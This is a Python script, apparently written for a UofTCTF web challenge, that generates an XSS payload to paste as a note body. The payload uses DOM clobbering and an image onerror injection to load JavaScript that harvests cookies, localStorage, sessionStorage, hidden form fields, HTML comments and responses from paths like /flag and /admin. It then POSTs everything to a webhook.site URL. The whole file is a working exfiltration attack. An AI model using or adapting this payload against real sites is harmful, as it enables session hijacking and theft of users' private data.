#!/usr/bin/env python3
"""
Ultimate flag search - checks EVERY possible location
"""

import urllib.parse
WEBHOOK = "https://webhook.site/YOUR-WEBHOOK-ID"  # Replace with your webhook

# JavaScript payload that searches EVERYWHERE
search_code = f"""
(async () => {{
    const results = {{}};
    
    // 1. Document properties
    results.cookie = document.cookie;
    results.domain = document.domain;
    results.referrer = document.referrer;
    results.title = document.title;
    results.URL = document.URL;
    results.documentURI = document.documentURI;
    results.baseURI = document.baseURI;
    results.origin = document.location.origin;
    
    // 2. Storage
    try {{ results.localStorage = JSON.stringify(localStorage); }} catch(e) {{ results.localStorage = e.toString(); }}
    try {{ results.sessionStorage = JSON.stringify(sessionStorage); }} catch(e) {{ results.sessionStorage = e.toString(); }}
    
    // 3. Navigator properties
    results.userAgent = navigator.userAgent;
    results.appVersion = navigator.appVersion;
    results.platform = navigator.platform;
    
    // 4. Window properties (search for 'flag' or 'uoftctf')
    const flagKeys = [];
    for (let key in window) {{
        if (key.toLowerCase().includes('flag') || key.toLowerCase().includes('uoftctf')) {{
            flagKeys.push({{key: key, value: String(window[key])}});
        }}
    }}
    results.flagKeys = flagKeys;
    
    // 5. Check for meta tags
    const metas = [];
    document.querySelectorAll('meta').forEach(m => {{
        metas.push({{name: m.name, content: m.content, property: m.getAttribute('property')}});
    }});
    results.metaTags = metas;
    
    // 6. Check all data attributes
    const dataAttrs = [];
    document.querySelectorAll('[data-flag], [data-secret], [data-uoftctf]').forEach(el => {{
        for (let attr of el.attributes) {{
            if (attr.name.startsWith('data-')) {{
                dataAttrs.push({{tag: el.tagName, attr: attr.name, value: attr.value}});
            }}
        }}
    }});
    results.dataAttributes = dataAttrs;
    
    // 7. Check for hidden inputs/forms
    const hiddenInputs = [];
    document.querySelectorAll('input[type="hidden"]').forEach(inp => {{
        hiddenInputs.push({{name: inp.name, value: inp.value, id: inp.id}});
    }});
    results.hiddenInputs = hiddenInputs;
    
    // 8. Try to fetch from localhost endpoints
    const endpoints = ['/flag', '/flag.txt', '/secret', '/admin', '/api/flag', '/static/flag.txt'];
    const fetchResults = {{}};
    for (let endpoint of endpoints) {{
        try {{
            const resp = await fetch(endpoint);
            fetchResults[endpoint] = {{
                status: resp.status,
                text: await resp.text()
            }};
        }} catch(e) {{
            fetchResults[endpoint] = {{error: e.toString()}};
        }}
    }}
    results.endpoints = fetchResults;
    
    // 9. Performance/timing data (might contain URLs with flags)
    try {{
        const perfEntries = performance.getEntries().map(e => ({{
            name: e.name,
            entryType: e.entryType
        }}));
        results.performance = perfEntries;
    }} catch(e) {{ results.performance = e.toString(); }}
    
    // 10. Check CSS variables
    const styles = getComputedStyle(document.documentElement);
    const cssVars = [];
    for (let i = 0; i < styles.length; i++) {{
        const prop = styles[i];
        if (prop.startsWith('--')) {{
            cssVars.push({{prop: prop, value: styles.getPropertyValue(prop)}});
        }}
    }}
    results.cssVariables = cssVars;
    
    // 11. Page HTML (look for comments or hidden content)
    results.htmlLength = document.documentElement.innerHTML.length;
    results.htmlComments = [];
    const walker = document.createTreeWalker(document, NodeFilter.SHOW_COMMENT);
    let node;
    while (node = walker.nextNode()) {{
        results.htmlComments.push(node.textContent);
    }}
    
    // 12. Check iframe sources (if any)
    const iframes = [];
    document.querySelectorAll('iframe').forEach(iframe => {{
        iframes.push({{src: iframe.src, name: iframe.name}});
    }});
    results.iframes = iframes;
    
    // Send everything
    await fetch('{WEBHOOK}', {{
        method: 'POST',
        headers: {{'Content-Type': 'application/json'}},
        body: JSON.stringify(results, null, 2)
    }});
}})();
""".replace('\n', ' ')

# URL-encode for data: URI
encoded_code = urllib.parse.quote(search_code)

# Create the payload
payload = f'''<form id="errorReporter"><input name="path" value="data:text/javascript,{encoded_code}"></form>
<img id="renderConfig" src=x onerror="window.lastRenderError='x';throw new Error()">'''

print("=" * 80)
print("ULTIMATE FLAG SEARCH PAYLOAD")
print("=" * 80)
print("\nPaste this as the note body:\n")
print(payload)
print("\n" + "=" * 80)
print(f"\nThen check your webhook at: {WEBHOOK}")
print("=" * 80)
